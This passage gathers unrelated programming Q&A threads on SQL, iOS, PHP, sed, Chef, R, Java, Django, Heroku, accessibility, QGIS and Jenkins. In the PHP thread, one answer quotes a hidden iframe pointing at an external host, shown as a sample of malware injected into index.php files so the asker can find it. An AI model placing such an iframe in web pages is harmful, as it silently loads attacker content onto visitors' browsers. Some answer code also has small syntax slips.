                               , cast(''a38f452e-ee3a-4be7-94ad-99c1474a417f'' as uniqueidentifier)
                               , cast(''b0f65616-d5d1-4af9-bffd-9c4b2b7f52e7'' as uniqueidentifier)
                               , cast(''3940fed6-9c40-4db6-bdc2-9dc5ef7b49ea'' as uniqueidentifier)
                               , cast(''e09f7618-c7d7-414d-b5d7-9ec22b3e9b64'' as uniqueidentifier)
                               , cast(''62c91349-d33f-42ed-b16d-a63424acca4a'' as uniqueidentifier)
                               , cast(''46812e72-45af-426e-9d72-aafdbcc9c4a7'' as uniqueidentifier)
                               , cast(''2a1d2b2a-0471-4f57-adc5-b42a03eb5e01'' as uniqueidentifier)
                               , cast(''2797d370-b237-4d2c-bede-b7af67f2b0f4'' as uniqueidentifier)
                               , cast(''0c50bb44-133e-4434-b403-c172873564e9'' as uniqueidentifier)
                               , cast(''dda75f7a-d366-472e-81b5-c4f3119dd715'' as uniqueidentifier)
                               , cast(''cc469264-a706-49c6-961b-d6520437e796'' as uniqueidentifier)
                               , cast(''ee2d7ea0-1f94-4cc3-9f64-d8d56374cae5'' as uniqueidentifier)
                               , cast(''f7dc6b77-3735-479d-b420-e145d4e3d66f'' as uniqueidentifier)
                               , cast(''8a7dbe93-ed1a-49f3-a3d0-e19c6dd4e4ef'' as uniqueidentifier)
                               , cast(''b0524a60-f980-4b82-a799-e788a9a4d04b'' as uniqueidentifier)
                               , cast(''ceaf8a0b-f410-4f88-9062-e804b76b6e78'' as uniqueidentifier)
                              )
   AND [Extent1].[EventCode] = @p__linq__0
   AND [Extent1].[Date] >= @p__linq__1
   AND [Extent1].[Date] <= @p__linq__2
   AND (       [Extent1].[SiteID] = @p__linq__3
         OR  ( [Extent1].[SiteID] IS NULL AND @p__linq__3 IS NULL )
       )
 ORDER BY [Date] DESC', N'@p__linq__0 int, @p__linq__1 datetime2(7), @p__linq__2 datetime2(7),
          @p__linq__3 uniqueidentifier', @p__linq__0=1799, @p__linq__1='2018-04-22 10:00:00',
          @p__linq__2='2018-04-23 10:00:00',@p__linq__3='B02A51FE-2248-E611-A64E-782BCB72ACED'
go

try adding the recommended index
create index on EventCode, AssetID, SiteID, [Date]


text:
Q: iPhone: Strange Movement of Two UIImageView "Sprites" I have two UIImageViews moving like sprites on a superview. Each imageview moves properly by itself but when I put both imageviews on the superview at the same time, their individual movement becomes strangely restricted to two different areas of the screen. They will not touch even programmed to the same coordinates.
This is my movement code for the first imageView:
- (void)viewDidLoad {
    [super viewDidLoad];
    pos = CGPointMake(14.0, 7.0);
    [NSTimer scheduledTimerWithTimeInterval:0.05 target:self selector:@selector(onTimer) userInfo:nil repeats:YES];
}
- (void) onTimer {
    pallone.center = CGPointMake(pallone.center.x+pos.x, pallone.center.y+pos.y);

    if(pallone.center.x > 320 || pallone.center.x < 0)
        pos.x = -pos.x;
    if(pallone.center.y > 480 || pallone.center.y < 0)
        pos.y = -pos.y;
}

and for the second imageview:
- (IBAction)spara{
    cos = CGPointMake(8.0, 4.0);
    [NSTimer scheduledTimerWithTimeInterval:0.05 target:self selector:@selector(inTimer) userInfo:nil repeats:YES];
}
- (void)inTimer{
    bomba.center = CGPointMake(bomba.center.x+pos.x, bomba.center.y+pos.y);

    if(bomba.center.x > 50 || bomba.center.x < 0)
        pos.x = -pos.x;
    if(bomba.center.y > 480 || bomba.center.y < 0)
        pos.y = -pos.y;
}

Why causes this strange behavior?
Thanks for your help. I am a newbie.

A: It looks like pos is an instance variable of the class that contains these methods.
Your problem is that you are using the same pos.x and pos.y variables for both imageViews. When one timer method changes pos.x or pos.y for pallone it affects the movement of bomba and vice versa.
The way you handle this is to create a subclass of UIImageView which contains the movement logic. Each imageView will move themselves and maintain its own position data. That way, everything stays compartmentalized.


text:
Q: PHP Unexpected character in input: ''' (ASCII=39) A friend of mine is getting this error on ALL of her websites. They are all on the same server, externally hosted.(the hosting company says they cant help with scripting problems)
Each site even gives the exact some line number, but they all use different Index.php files. I am a bit stumped here, has anyone seen anything like this before?
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /home/xxxx/public_html/index.php on line 17

Parse error: syntax error, unexpected '.' in /home/xxxx/public_html/index.php on line 17

A: Based on the error and some googling, it seems the culprit is possibly some horribly crappy file manager.
How are you editing/uploading files to the site?

A: I think you have a virus on your site.
Check your index.php files for code like this:
<iframe src="http://2mj.pl:8080/ts/in.cgi?pepsi74" width=125 height=125 style="visibility: hidden"></iframe>

A: It's a syntax error in the PHP script. So most likely, whoever wrote that script made a mistake. But without some context as to the error (i.e. without knowing what exactly is in that part of the script), it's impossible to tell exactly how to fix it.
Incidentally, this is really a StackOverflow-type question.

A: Try to make an index.php with only, and exactly one line; the following could be a good one:
<?php phpinfo() ?>

one line, no \r or \n (say don't press return after the latter ">".
If the error persists I think the hoster could have added an auto prepended file directive or something similar. May be due to short_open_tag too if your scripts make use of such an (evil) feature.
Debugging with a single, simple line is a good starting point IMHO


text:
Q: Sed Replace Outside Substrings around Inner Substring I am attempting to replace contents sitting between an opening string and an ending string, such as the following, where the bolded text is what is being replaced.
beginningSubstring sometext endingSubstring
I want to turn this into something else, such as the following.
newString sometext newString
How would I go about making this replacement with a single sed (or awk)?

My specific use case is I am using curl on a website to retrieve info at the Linux CLI, and I am attempting to display various content. I want to make the output more readable/shorter and would like to replace HTML tags such as someText with *someText* or someText with ~someText~ in order to maintain the existence of the content without completely removing it. I would like a single sed to make this replacement as I want to keep the opening and closing tags paired together, so that I don't have to determine whether or not there is the existence of a previously replaced opening tag in order to determine what the closing tag should be.

A: with sed
$ echo "someText
XXX
  someOtherText"
  sed -E 's_([^<]*)_*\1*_g'

will give
*someText*
XXX
  *someOtherText*

however, not recommend for html and special chars which you need to provision for.  Perhaps you're looking for html to markdown translator.


text:
Q: Databag defined environment attributes used with a policyfile Using a policyfile, I'm trying to run a recipe that uses a databag to define environment specific settings.
I have the following databag item in a databag called "env":
{
    "id": "enviornment_local",
    "filename": "environment_local.json",
    "efs": {
        "database_mount": "fs-c2fa7d8b"
    }
}

I have the following defined in my recipe:
environment = data_bag_item('env', "environment_#{Chef::Config.policy_group}")
Chef::Mixin::DeepMerge.hash_only_merge!(node.role_default, environment)

efs_database_mount = node['efs']['database_mount']

The attribute is not being picked up in this code here:
az = node['ec2']['placement_availability_zone']
region = az[0..-2] # trim last char
file_system_id = efs_database_mount #'fs-c2fa7d8b'
efs_uri = "#{az}.#{file_system_id}.efs.#{region}.amazonaws.com:/"

The error is:
   NoMethodError
   -------------
   undefined method `[]' for nil:NilClass

Any ideas on what I'm doing wrong?

A: So the first think is the correct way to get the group name is probably node.policy_group unless you're on a very old version of Chef. The next issue is you may want to merge into node.env_default depending on how you want ordering to work. Given the way you wrote that code, I'm guessing you're familiar with my poise-hoist library, so look over the rest of that for examples.
That said, which line exactly is raising the exception? You can use node.debug_value to check how values are being set at each level:
require 'pp'
# For node['foo']['bar']
pp node.debug_value('foo', 'bar')
# Output
[["set_unless_enabled?", false],
 ["default", "attributes default"],
 ["env_default", :not_present],
 ["role_default", "role default"],
 ["force_default", :not_present],
 ["normal", "attributes normal"],
 ["override", "attr override"],
 ["role_override", "role override"],
 ["env_override", :not_present],
 ["force_override", :not_present],
 ["automatic", :not_present]]


text:
Q: R: Conditional filtering out date range Suppose I have the following data:
date_time            flag
2016-04-02 08:56:06  0
2016-04-02 14:50:24  0
2016-04-02 14:56:27  0
2016-04-02 14:56:27  1
2016-04-02 18:56:29  0
2016-04-02 18:56:44  1
2016-04-02 18:56:45  1
2016-04-02 19:05:52  1

The logic is this, for everytime flag is set as 1, I'd look at the datetime, and for any entry within 5 minutes prior and with flag == 0 will be removed. Anything else will remain intact. So the following is what I'd expect:
date_time            flag
2016-04-02 08:56:06  0
2016-04-02 14:50:24  0
2016-04-02 14:56:27  1
2016-04-02 18:56:44  1
2016-04-02 18:56:45  1
2016-04-02 19:05:52  1

Is there anyway to do that in R?
Note: To import the data in R
structure(list(
     date_time = structure(c(1459612566, 1459633824, 1459634187, 1459634187, 1459648589, 1459648604, 1459648605, 1459649152),
     class = c("POSIXct", "POSIXt"), tzone = ""),
     flag = c(0L, 0L, 0L, 1L, 0L, 1L, 1L, 1L)),
     .Names = c("date_time", "flag"),
     row.names = c(NA, -8L),
     class = "data.frame")

A: Here's a way, using the lubridate package, the apply function, and a function we define:
library(lubridate)
#generate the data
dat <- structure(list(date_time = c("2016-04-02 08:56:06", "2016-04-02 14:50:24",
                                    "2016-04-02 14:56:27", "2016-04-02 14:56:27",
                                    "2016-04-02 18:56:29", "2016-04-02 18:56:44",
                                    "2016-04-02 18:56:45", "2016-04-02 19:05:52"),
flag = c(0L, 0L, 0L, 1L, 0L, 1L, 1L, 1L)), .Names = c("date_time", "flag"),
class = "data.frame", row.names = c(NA, -8L))
#create subsets
dat_0 <- subset(dat, flag == 0)
dat_1 <- subset(dat, flag == 1)

#define function to perform calculation
calc_diff <- function(time1, time2, upper = 0, lower = -5, units = 'mins'){
  dtime <- as.numeric(difftime(time1, time2, units = units)) # calculate difference
  dtime >= lower & dtime <= upper #compute logical
}

#apply over the rows of dat_0, checking for any times
#within 5 and 0 minutes prior
find_rows <- apply(dat_0, 1,
                   function(d) any(calc_diff(ymd_hms(d[1]), ymd_hms(dat_1$date_time))))
 #bind applicable rows to dat_1
rbind(dat_0[!find_rows,], dat_1)

A: I created a test data like:
library(lubridate)
library(data.table)
dt <- data.table(date_time = Sys.time() + minutes(round(runif(1000, max = 10000))),
                 flag = rbinom(1000, size = 1,  prob = .1))
dt <- dt[order(date_time)]

With this test data, what you need is created through this code. For each of the observations with flag == 1, lapply the function where you can find less than 300 seconds difference AND flag == 0. This will give the list of rows to be erased. The code then unlist and find the unique row numbers to be removed. The last line remove the observations.
remove <- lapply(dt[, which(flag == 1)],
       function(x) {
         which(dt[, date_time - dt[x, date_time]]) > -300 &
               dt[, date_time - dt[x, date_time]]) < 0 &
                 dt[, flag] == 0)}) %>% unlist %>% unique
dt_sub <- dt[-remove]


text:
Q: Check if a thread is interrupted? I just want to get know about if this thread is interrupting or not if I'm doing it right?
please give me hint if I'm wrong
public void run(){
  int i;
  while(!Thread.currentThread().isInterrupted()){
    for(i=1;i<=100;i++){

      System.out.println("THREAD VALUE AFTER 1 SECOND IS: "+i);

      if(i==3){
        Thread.currentThread().interrupt();
        gotoInform();
        break;
      }
      try{
        Thread.currentThread().sleep(1000);////to sleep the Thread for 1 Second (1000ms)
      }
      catch(Exception e){
        System.out.printf("Error"+e);
      }
    }
  }

A: This is wrong, because if sleep finds that the thread is interrupted, it will throw an InterruptedException and clear the interrupted flag. You then swallow that exception, suppressing any record that the thread was ever interrupted. Instead, you should write something more like this:
public void run(){
    for(int i=1;i<=100;i++){

        System.out.println("THREAD VALUE AFTER 1 SECOND IS: "+i);

        if(i==3){
            Thread.currentThread().interrupt();
            gotoInform();
            break;
        }
        try{
            Thread.currentThread().sleep(1000);
        }
        catch(final Exception e){
            e.printStackTrace();
            if(e instanceof InterruptedException) {
                // just in case this Runnable is actually called directly,
                // rather than in a new thread, don't want to swallow the
                // flag:
                Thread.currentThread().interrupt();
            }
            return;
        }
    }
}

(Note: I'm assuming that this is not "real" code, but rather, that you're just trying to learn how thread interruption works. In "real" code, you should almost never need to interrupt the current thread in this way.)

A: As mentioned before, a thread interrupting itself is pointless (unless used to re-interrupt itself after catching an InterruptedException) .  You're basically using the thread's internal interrupted flag as a conditional variable here - which while it may work is not at all what it's supposed to be used for and will be confusing to anyone else who would need to read your code.  Use a loop counter instead as suggested above to make the code much cleaner.
Also, your statement:
System.out.println("THREAD VALUE AFTER 1 SECOND IS: "+i);

is erroneous as it will execute immediately the first time through the loop (when the time is closer to zero seconds).

A:
I just want to get know about if this thread is interrupting or not if I'm doing it right?

@ruakh is correct that it is always a good idea to re-interrupt a thread once InterruptedException is thrown.
However, if the goal of your code is to self-interrupt and no other threads will interrupt the running thread, then you will never get to the sleep() call since break; is called after the thread is interrupted.
If the thread is always just self interrupted then I would just use a flag.  Something like:
boolean done = false;
while (!done) {
   ...
   if(i==3){
        done = true;
        ...
   }
}

Even though you interrupt your thread, you then call gotoInform() which may call wait()or sleep() itself and cause an InterruptedException.  You'll need to make sure that code behaves well and re-interrupts the thread if so.


text:
Q: Django: Group dates by Year im trying to create like a timeline from a model's created field but i can't find a clean way to do it. The idea is to return to the frontend ( DRF ) a list of years with their dates inside.
So let's say that i have this model:
class ProductModel(models.Model):
  name = models.CharField(max_length=200)
  created = models.DateField(default=datetime.date.today, blank=True)

Let's say that 6 products have been created ( 3 of them from 2021 and 3 from 2022). So i would like to return something like this:
"timeline": {

    "2021": [
        ...,
        "2021-12-1",
        "2021-11-1",
        "2021-10-1",
    ],
    "2022": [
        ...,
        "2022-03-1",
        "2022-02-1",
        "2022-01-1",
    ],
}

The idea it's only to return dates of created products and nothing else. But i don't now how to group the dates by years. I've tried with annotate and values but not the result that i need.
I understand that on the serializer part i would have to use serializers.ListField() in order to be able to pass lists to it.
Any suggestion im all ears. Thanks in advance :)

A: You used key:pair inside a list structure, so I will just assume its wrong and you meant a dictionary.
For that output, one possible solution:
serializers.py
class TimeLineSerializer(serializers.Serializer):

    timeline = serializers.SerializerMethodField()

    def get_timeline(self, obj):
        data = {}
        dates = obj.values('created__year').distinct()
        for date in dates:
            data[date['created__year']] = obj.filter(created__year=date['created__year']).values_list('created', flat=True)

        return data

views.py:
class TimeLineListAPIView(APIView):
    def get(self, request):
        qs = ProductModel.objects.all()
        serializer = TimeLineSerializer(qs)
        return Response(serializer.data)

output:
{
    "timeline": {
        "2021": [
            "2021-12-20",
            "2021-12-21",
            "2021-12-22"
        ],
        "2022": [
            "2022-12-20",
            "2022-12-21",
            "2022-12-23"
        ]
    }
}

Of course, there is possibly a cleaner solution that I don't know of.

A: I don't know if it's the best solution but i've created a generic get_timeline function that goes like this ( thanks to @Niko for the inspiration):
def get_timeline(model_queryset, lookup_field):
    '''
    get timeline function will return a dictionary of dates grouping by years.
    '''
    timeline = {}
    for item in model_queryset:
        if hasattr(item, lookup_field):
            date = getattr(item, lookup_field)
            filters = { f'{ lookup_field }__year': date.year }
            timeline[date.year] = model_queryset.filter(**filters).values_list(lookup_field, flat=True)
        else:
            raise ValidationError(f'Object "{ item }" does not have "{ lookup_field }" attribute')
    return timeline

In views.py:
queryset =  ProductModel.objects.order_by('-created')
timeline = get_timeline(queryset, 'created')

And the output:
"timeline": {
    "2021": [
        "2021-12-1",
        "2021-11-1",
        "2021-10-1",
    ],
    "2022": [
        "2022-03-1",
        "2022-02-1",
        "2022-01-1",
    ],
},

This function will be call in the views.py file passing ProductModel objects as "model_queryset" and "created" as "lookup_field".
Hope that is a clean solution.


text:
Q: Using Tap widget in JQuery I use Tap from JQuery and I found some repeated texts at the bottom for Tap Headers and Text inside the Tap page. I have no idea why they are repeated there as shown in the attached picture.
My code is as follow.
<!doctype html>

  <meta charset="utf-8">
  <title>jQuery UI Tabs - Default functionality</title>
  <link rel="stylesheet" href="//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css">

  <link rel="stylesheet" href="/resources/demos/style.css">

Nunc tincidunt

Proin dolor

Aenean lacinia

This is tap1.

This is tap2.

This is tap3.

.


text:
Q: "No command specified for process type web" on Heroku I did heroku container:push web and it gives Your image has been successfully pushed. You can now release it with the 'container:release' command. Then I ran heroku container:release web and it says
No command specified for process type web

I also tried heroku stack:set container as suggested here but no change.
I have Profile as
web: gunicorn app:app --log-file=-

Not sure what's wrong and how to debug this. Any help is appreciated!

A: Changing from ENTRYPOINT to CMD fixed this issue for me

A: You need to have a CMD directive specified at the end of your Dockerfile.
Heroku is unclear on this in their documentation. I was able to get my container to run locally without a CMD directive, likely as you were. But if you read Heroku docs here or here you'll pick up that Heroku takes for granted that the Dockerfile will specify a CMD to run.
I read here that Heroku requires all images to have the CMD directive specified, but I couldn't find that explicitly in Heroku docs.
I had the same problem until I added the CMD directive at the end of my Dockerfile. I'm still working though what exactly I should put as my CMD directive but I no longer get the No command specified for process type web error.
Here's the Docker documentation on CMD: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#cmd


text:
Q: Find all numbers $n$ such that $S_5, S_7$ contains an element of order $n$. Could you tell me if my answer is correct? Have I missed out something?

Problem Find all numbers $n$ such that $S_5$ contains an element of order $n$.

Solution Any element in $S_5$ falls in one of the categories:

*

*It is an element of the form $(a,b,c,d,e)$. The order for this is $5$.

*It is an element of the form $(a,b,c,d)$. The order for this is $4$.

*It is an element of the form $(a,b,c)$. The order for this is $3$.

*It is an element of the form $(a,b)$. The order for this is $2$.

*Identity. The order is $1$.

*It is an element of the form $(a,b,c)(d,e)$. The order for this is $6$.

*It is an element of the form $(a,b)(c,d)$. The order for this is $2$.

Hence, the possible orders are $1,2,3,4,5,6$.

Problem Find all numbers $n$ such that $S_7$ contains an element of order $n$.

Solution Any element in $S_7$ falls in one of the categories:

*

*It is an element of the form $(a,b,c,d,e,f,g)$. The order for this is $7$.

*It is an element of the form $(a,b,c,d,e,f)$. The order for this is $6$.

*It is an element of the form $(a,b,c,d,e)$. The order for this is $5$.

*It is an element of the form $(a,b,c,d)$. The order for this is $4$.

*It is an element of the form $(a,b,c)$. The order for this is $3$.

*It is an element of the form $(a,b)$. The order for this is $2$.

*Identity. The order is $1$.

*It is an element of the form $(a,b,c,d,e)(f,g)$. The order for this is $10$.

*It is an element of the form $(a,b,c,d)(f,g)$. The order for this is $4$.

*It is an element of the form $(a,b,c)(d,e)$. The order for this is $6$.

*It is an element of the form $(a,b)(c,d)$. The order for this is $2$.

*It is an element of the form $(a,b,c,d)(e,f,g)$. The order for this is $12$.

*It is an element of the form $(a,b,c)(e,f,g)$. The order for this is $3$.

Hence, the possible orders are $1,2,3,4,5,6,7,10,12$.

Thanks

A: Yes the order of the elements for the two groups are correct.
Check also:
http://groupprops.subwiki.org/wiki/Symmetric_group:S7
http://groupprops.subwiki.org/wiki/Element_structure_of_symmetric_group:S5


text:
Q: Accessibility for CSS-only tooltip I accessibility guidance for my CSS-only tooltip — http://chantastic.github.io/tip.css/
This is how you use it:
Hover here

The current API
To avoid the browsers default rendering of title, I'm using data-tip-content for tooltip text. By doing that, I'm also losing the accessibility benefits of title (Related SO Question).
My Current Work around
I'd like to add aria-label as a content source, making use look like this:
Hover here

My Question
Does aria-label make sense in this case? Is there an accessibility interest that this will not cover?
I am very new to accessibility and would appreciate experience-based feedback. Thank you.

If you think there is a better solution, please consider these constraints:

*

*CSS-only. Many JS-tooltips simply remove and restore the title-attr on mousenter/mouseleave. I'm not interested in a JS solution.

*No Additional Markup. This library is intended to be minimal and simple. It uses :after, :before, and content to avoid the requirement for additional markup blocks.

*Two-Attribute API. This library only requires the addition of 2 attributes.

A: The aria-label attribute specifies a label for the element, typically an accessible name for an input element that would otherwise lack an explicit label, because the user is expected to infer its role from the visual context. Although its description refers to the HTML title attribute and tooltips, it's not really meant to be used for things like CSS tooltips. Rather, it is useful for labelling elements instead of using the title attribute, which has some drawbacks in such use.
However, there is unfortunately no ARIA attribute that would be more suitable. There is odd asymmetry: ARIA has aria-label for direct labeling and aria-labelledby for indirect labeling, i.e. for specifying an element that contains a label for the current element, but for descriptions, there is just the indirect aria-describedby.
So this boils down to using aria-label, given your current approach and markup. In a different approach, where the tooltip text is element content and not an attribute value, you could use aria-describedby.
P.S. The attribute data-has-tip looks redundant here, since you can use, both in CSS and in scripting, just the presence of a data-tip-content attribute instead.


text:
Q: Cannot generate buffers in meters (even after "save as" in NAD83 / UTM 18N) using QGIS? I am quite new to GIS and QGIS.
I have 800 points with lat/lon (some locations in Massachusetts) in a .csv file. I use AddLayer to import the CSV file and save it as NAD83 / UTM 18N projection (EPSG:26918). Then I close QGIS and reopen the new 26918 file with QGIS. I want to create buffer for the points, and I want 500 meters as the buffer radius. I use Vector -> Geoprocessing Tools -> Buffer, and I entered 500 in the field for "Buffer Distance" and saved the new shapefile. Then the following pictures shows... I wonder how can I make such a buffer with 500m radius for the points?

The problem is that the buffer is way larger than 500 m (probably 500 degrees). I have figure out how to deal with it: after adding the csv file as a layer, I should first saving it in the WGS84 projection. And then save the WGS84 layer as a NAD83 / UTM 18N layer. Then I can create 500 m radius buffer.


text:
Q: Can't update object in the list on C# I'm building a page updating a object from a list.
When I'm posting a form
public class MyController: Controller
{

  List<Item> ItemList = new List<Item>();

  // Constructor
  public MyController()
  {
    // initialize the list with testing data
  }

  [HttpPost]
  public ActionResult Post(Item item)
  {
    if (ModelState.IsValid)
    {
      var tempItem = ItemList.FirstOrDefault(i => i.Id == item.Id);
      tempItem.Name = "Something Else";
      return View("Edit", tempItem);
    }
  }
}

I found the updated tempItem is not shown as updated on the Edit page. After all, the item in the list has not been changed at all.
Have I done anything wrong?


text:
Q: ObjectDataProvider in MVVM not necessary? I have created a simple MVVM, with only three classes CashFlowView, CashFlowViewModel, CashFlowModel.
I use an infragistic's 9.1 XamDataPresenter (or xamDataGrid).
    <igDP:XamDataPresenter Name="xamDataPresenter1" DataSource="{Binding Source={StaticResource CashFlowData}}">

    <ObjectDataProvider x:Key="CashFlowData" ObjectType="{x:Type ViewModel:CashflowViewModel}" MethodName="GetCashFlows" />

Inside my ViewModel:
public ObservableCollection<CashflowModel> GetCashFlows()
        {
            return new ObservableCollection<CashflowModel>() { ... };
        }

ViewModel is connected to View by this:
this.DataContext = new CashflowViewModel();

As long as I connect the grid to the ObjectDataProvider its perfectly running fine.  But I wished I could just connect to a property within my ViewModel instead.
According to Infragistics all I have to do is this:
<igDP:XamDataGrid DataSource="{Binding Path=ViewModelCollection}"/>

But in this case it seems I need to bind to a collection of another ViewModel to represent my rows inside the grid. And thats where I get confused.
I tried this and it doesnt work:
<igDP:XamDataPresenter Name="xamDataPresenter1" DataSource="{Binding Path=CashFlows}">

Inside the ViewModel:
public ObservableCollection<CashflowDataGridViewModel> CashFlows
        {
            get
            {
                return new ObservableCollection<CashflowDataGridViewModel>();
            }
        }

But how do I create my second ViewModel (CashflowDataGridViewModel) ?
I tried adding this proprty within this second ViewModel:
public CashflowModel CashFlow
        {
            get
            {
                return new CashflowModel() {...};
            }
        }

But all I get shown on my view is "Cashflow" column header without any of the underlying headers of the actual cashflowModel class.

A: To be able to bind the View to properties on the ViewModel, the DataContext needs to be set to an instance of your ViewModel.  What I commonly do is to include the following line in the constructor of the code-behind for my View:
this.DataContext = new SomeAwesomeViewModel();

You can also set the DataContext for containers if you want different groups of controls to use different ViewModels (e.g., Grid.DataContext, StackPanel.DataContext, etc.).
Once you have the DataContext set, you should be able to bind to the properties of that ViewModel.
Update
Here's a bit of sample code to get you going.
public class CashFlowViewModel
{
    public ObservableCollection<FlowViewModel> DataGridData
    {
        get...
    }
}

That's the property which should provide the data for the DataGrid.  Now, here's what the FlowViewModel class could look like.
public class FlowViewModel
{
    decimal flowAmount;
    public decimal FlowAmount
    {
        get { return flowAmount; }
        set
        {
            if(flowAmount == value)
                return;

            flowAmount = value;
            NotifyPropertyChanged("FlowAmount");
        }
    }
    .
    .
    .

    private void NotifyPropertyChanged(string propertyName)
    {
        if(PropertyChanged != null)
            PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
    }
}


text:
Q: input for arraylist using readline() of BufferedReader I am trying to take input and add them in an arraylist, using BufferedReader.
The code is taking endless inputs and it is not advancing to further lines (not exiting the for-loop).
Please find my below code:
public class ALinput {
        public static void main(String[] args) throws IOException {
            BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
            int n2 = br.read();// number of items in the list

            ArrayList<String> list2 = new ArrayList<String>();
            for(int i =1;i<=n2;++i)
            {
                list2.add(br.readLine());
            }

            System.out.println(list2);//printing list before sorting
            Collections.sort(list2);//sorting the list
            System.out.println("After sorting "+list2);

}
}

I have taken n2 as number of elements in the array list.
if input n2 = 5;
the readLine keeps on taking text input endlessly without exiting after 5 strings are added to the arraylist.
Its not coming out of the for loop. Please help me understand the mistake I am doing here.

A: It actually isn't going forever, the character code for a zero is 48, one is 49, two is 50, and so on. so when you type in a 5, the computer reads it's character value, and stores n2 as 53, and let's you type in 52 inputs. why 52 instead of 53?
well theres a second mistake, br.read() only looks at the first byte of input, so one character. the first time br.readLine() is called, it finishes reading whatever was on the line after the first number you typed. to fix these problems, just change
int n2 = br.read();

to
int n2 = Integer.parseInt(br.readLine());

and voila! done!
P.S. you might want to surround the Integer.parseInt() in a try catch block, in case the user types in something besides a number.


text:
Q: AWS ERROR: EndpointConnectionError - Could not connect to the endpoint URL: "https://ec2.eu-west-2.amazonaws.com/" I want to deploy my python application unto AWS Elastic Beanstalk.
I followed the instruction here
https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/create-deploy-python-django.html
I used eb init command and I have been able to

*

*select the default region

*enter an application to use

*enter the type of language

*setup the SSH

*select the keypair

*Then I was provided with the keypair name and the passphrase then it gave me the message Uploaded SSH public key for

*Then entered the command eb create django-env even though it created a zip for me app-version.zip it brings out the error

When I used eb create django-env
 `ERROR: NotAuthorizedError - Operation Denied. Access Denied`

I used eb init -i to try to deploy my project again it gave me the same error.
Please what can be wrong
Update
there were no location where I was provided with access-key but what I was asked was keypair name and passphrase which does not exist in the credentials I downloaded


text:
Q: Land into Ubuntu 16.04 directly When I start my laptop Dell 5459, I get a boot screen of Dell and after that Windows 10 starts loading. If I have to load Ubuntu, then I have to press F12 and then choose hard-drive from the menu (which has USB as the other option). I want directly to land-up in Ubuntu. It will be better if I get an option like I have to choose Boot options, but Ubuntu has to be default booting OS.
Can anyone please help?

A: You have to modify your boot order in the BIOS settings. Unfortunately I can't tell you exact steps because each machine kind of has its own bios interface. If you provide a picture of it maybe I can help better.
Go into your settings and search for something like "boot order" or "boot options", probably under "advanced options". You should see the windows partition (or maybe hard disk) listed above Ubuntu's. Move Ubuntu to be the first option, save and exit and it should be fine.
Sometimes it doesn't say which partition has what OS so you have to find a way to know. Try identifying by the sizes of your partitions.
comment if anything seems unclear...

A: Try this within Windows 10. It allows you to change boot preference, wait time, default OS etc. Just a few clicks is only that is required.
http://neosmart.net/EasyBCD/


text:
Q: Converting a excel field from a % to a decimal in a new formula I have 4 different values being generated on a spreadsheet in different cells:
A=88.45%
B=88.45%
C=1.69%
D=95.67%

I need to add these values up and divide it by 4 to get the difference from a possibility of 100%. So, the functions I've written are:
A= =SUM(1-(D6/C6))
B= =SUM(1-(F6/C6))
C= =SUM(I6/H6)
D= =SUM(1-(K6/C6))

However, if I just have a formula that adds those cells up while they are displaying as a % and then divide it by 4 it doesn't give me the intended number which I need. The only way I've figured out to give me the accurate result was to convert them into decimals, but I'm not sure how to exactly write that. If it's even possible. I still need them displaying as a % in the original cells is the issue.
A= 0.1155
B= 0.1155
C= 0.0169
D= 0.0433

Divide those by 4 and you get the correct 7.28%. Then I need to subtract that from 100% to generate the actual average of those 4 cells.
Any insight?

A: **EDIT* 2nd formula added
The proper formula to obtain your desired result of 7.28% from the four values in Row 34 (January) is:
=SUM(1-E34,1-G34,J34,1-L34)/4

OR
=1-AVERAGE(E34,G34,1-J34,L34)

where:
E34:= 88.45%
G34:= 88.45%
J34:=  1.69%
L34:= 95.67%

As an aside, the SUM function in each of those cells is entirely superfluous.
=1-D34/C34

will give the same result as
=SUM(1-(D34/C34))


text:
Q: Jenkins cannot start after disk restored from snapshot This Jenkins installation is running on a GCE since the beginning of 2020, pipelines, plugins and other configurations are working without issue.
After a day of experimenting with it to introduce some new OS-level additional features that should have taken 5 minutes and ended up taking the whole day, I realized I was hitting a wall and decided to clean the board by deleting the VM and creating a new one using a snapshot taken back in november, last time the VM was properly working without modification. This particular Jenkins installation is used to build staging version of our internal applications so I wasn't that concerned with downtime and such.
After creating a new VM, same specifications of the previous one, running Debian 10, and assigning the snapshot as source for the disk and went to reload the dashboard and got surprised with this:

Logging in the vm itself I find that everything directory/file wise is there but running sudo systemctl status jenkins returns this:
● jenkins.service - LSB: Start Jenkins at boot time
   Loaded: loaded (/etc/init.d/jenkins; generated; vendor preset: enabled)
   Active: failed (Result: exit-code) since Tue 2021-01-05 17:54:55 UTC; 5s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 653 ExecStart=/etc/init.d/jenkins start (code=exited, status=7)
    Tasks: 0 (limit: 4915)
   CGroup: /system.slice/jenkins.service

Jan 05 17:52:34 jenkins-1-vm systemd[1]: Starting LSB: Start Jenkins at boot time...
Jan 05 17:52:40 jenkins-1-vm jenkins[653]: Correct java version found
Jan 05 17:52:41 jenkins-1-vm su[767]: Successful su for jenkins by root
Jan 05 17:52:41 jenkins-1-vm su[767]: + ??? root:jenkins
Jan 05 17:52:41 jenkins-1-vm su[767]: pam_unix(su:session): session opened for user jenkins by (uid=0)
Jan 05 17:54:55 jenkins-1-vm jenkins[653]: Starting Jenkins Automation Server: jenkins failed!
Jan 05 17:54:55 jenkins-1-vm systemd[1]: jenkins.service: Control process exited, code=exited status=7
Jan 05 17:54:55 jenkins-1-vm systemd[1]: Failed to start LSB: Start Jenkins at boot time.
Jan 05 17:54:55 jenkins-1-vm systemd[1]: jenkins.service: Unit entered failed state.
Jan 05 17:54:55 jenkins-1-vm systemd[1]: jenkins.service: Failed with result 'exit-code'.

I started searching on google, basically spending the last 2 hours on this, and found nothing relevant apart a lot of articles mentioning using Java8 which cannot be applying to this case as java is there and the log itself says Correct java version found.
As a last attempt I tried to apt purge jenkins and reinstall it and after that everything works but, of course, everything is also wiped out. So I created another vm and before attempting anything else, decided to ask here for help.
Is there something in Jenkins that could not being brought over in a snapshot of the disk and cause this terrible Failed to start LSB: Start Jenkins at boot time. message? What can I try to fix this and restore it?
